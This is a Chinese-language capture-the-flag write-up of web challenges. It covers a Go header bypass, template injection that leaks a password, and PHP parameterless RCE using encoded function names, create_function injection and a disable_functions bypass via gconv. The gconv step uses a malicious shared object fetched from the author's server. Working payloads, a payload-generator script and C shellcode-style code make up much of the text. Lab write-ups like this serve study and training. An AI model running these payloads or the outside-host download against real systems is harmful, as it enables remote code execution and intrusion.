认真复现还是收获挺多的,做这些就算看wp也会卡很久的题目才容易提高.最后感谢下NSSCTF平台提供的靶机,虽然flag只有一半
下载附件得到源码,题目让我们本地访问,也就是要伪造ip,但是是有检测的,源码:
package middleware
import (
"github.com/gin-gonic/gin"
)
func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}
x-forwarded-for和x-client-ip都不能用,这里试了几个,可以用X-Real-IP绕过
然后在看
package structs
type UserInfo struct {
Id int
Username string
Age string
Password string
}
var Users = []UserInfo{
{
Id: 1,
Username: "Grandpa Lu",
Age: "22",
Password: "hack you!",
},
{
Id: 2,
Username: "Longlone",
Age: "??",
Password: "i don't know",
},
{
Id: 3,
Username: "Teacher Ma",
Age: "20",
Password: "guess",
},
}
var Admin = UserInfo{
Id: 0,
Username: "Admin",
Age: "",
Password: "flag{}",
}
从这里能看到Admin的Password就是flag
再看route.php下
TargetUser := structs.Admin
for _, user := range structs.Users {
if user.Id == id {
TargetUser = user
}
}
age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
if err != nil {
c.AbortWithError(500, err)
}
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
因为没学过go,分析也就仔细些,先是TargetUser := structs.Admin
,这里偷一段话:结构体是Go中一个非常重要的类型,Go通过结构体来类比一个对象,因此他的字段就是一个对象的属性。通常Json的编码和解析都需要通过结构体来实现,加之模板渲染支持传入一个结构体的实例来渲染它的字段,这就造成了信息泄漏的可能。所以再看到下面的age,我们可以通过模板注入把admin的password注出来,go中是通过{{.xxx}}来取值。比如
package main
import "fmt"
import "html/template"
import "os"
func main() {
type person struct {
Id int
Name string
Country string
}
sss := person{Id: 0, Name: "sapphire", Country: "China"}
fmt.Println("sss = ", sss)
tmpl := template.New("tmpl1")
tmpl.Parse("Hello {{.Name}} Welcome to go programming...\n")
tmpl.Execute(os.Stdout, sss)
}
输出为
sss={0 sapphire China}
Hello sss Welcome to go programming...
所以payload:id=0&age={{.Password}}
index.php
if (!empty($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['size'] < 1024 * 1024) {
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
echo "OK! Your file saved in: " . $upload_file;
} else {
echo "emm...Upload failed:(";
}
} else {
echo "too big!!!";
}
if (!empty($_POST['path'])) {
$upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
$upload_file = $upload_file_path."/".$file['name'];
} else {
$upload_file_path = $_SESSION["upload_path"];
$upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
这里可以触发tostring方法,然后就要找链子
if(isset($_POST['cmd'])){
$code = $_POST['cmd'];
if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
die('');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
die();
}
} else {
highlight_file(__FILE__);
var_dump(ini_get("disable_functions"));
}
?>
无参RCE,并且过滤了非常多函数,最后筛选下来只有这些
strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders
先用firebasky师傅的脚本生成payload
# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)
#call_user_func(...unserialize(end(getallheaders())));
生成得到
[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF]([~%d1%d1%d1%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));
无法传参,用可变参数列表绕过,采用官方文档的描述
function sum(...$numbers) {
$acc = 0;
foreach ($numbers as $n) {
$acc += $n;
}
return $acc;
}
echo sum(1, 2, 3, 4);
?>
//将会打印出10
所以把%d1%d1%d1删掉,在外面加上...
,即
[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));
总体逻辑就是:通过call_user_func()来调用creat_function,call_user_func()会把第一个参数作为回调函数使用,具体原理参考官方文档所以要利用就必须使用上面所说的可变参数列表来调用creat_function,不过这个思路较为复杂,其实直接用create_function就可以了,因为create_function存在命令注入,具体参考这篇文章
我这里用的是create_funtion,现在构造一下序列化的内容:
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;
得到
a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}
然后
那么现在能确定命令可以执行,就可以开始绕disable_functions了。
尝试直接写so文件,500错误不知道为啥,那就通过vps来写.具体如下:
先在kali下创建一个payload.c,具体内容如下:
#include
#include
void gconv() {}
void gconv_init() {
puts("pwned");
system("bash -c '/readflag > /tmp/sapp'");
exit(0);
}
其实就是执行命令把读到的flag放到/tmp下的sapp文件中。
然后
gcc payload.c -o payload.so -shared -fPIC
生成payload.so文件,把它放到自己的服务器上,再创建一个gconv-modules文件内容如下,也放到服务器上
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
开启http服务:python -m http.server 5000
,然后就是发包了,先用原生类把两个文件写进tmp下
cmd=[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&a=$url="http://xx.xx.85.60:5000/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
cmd=[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&a=$url = "http://xx.xx.85.60:5000/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);
写好之后伪协议触发:
cmd=[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
这个是问了guoke师傅了解的,本地测试取end(getallheaders())的时候是上面第一个是end,靶机的话是下面第一个是end取的位置,比如
本地:
开的容器: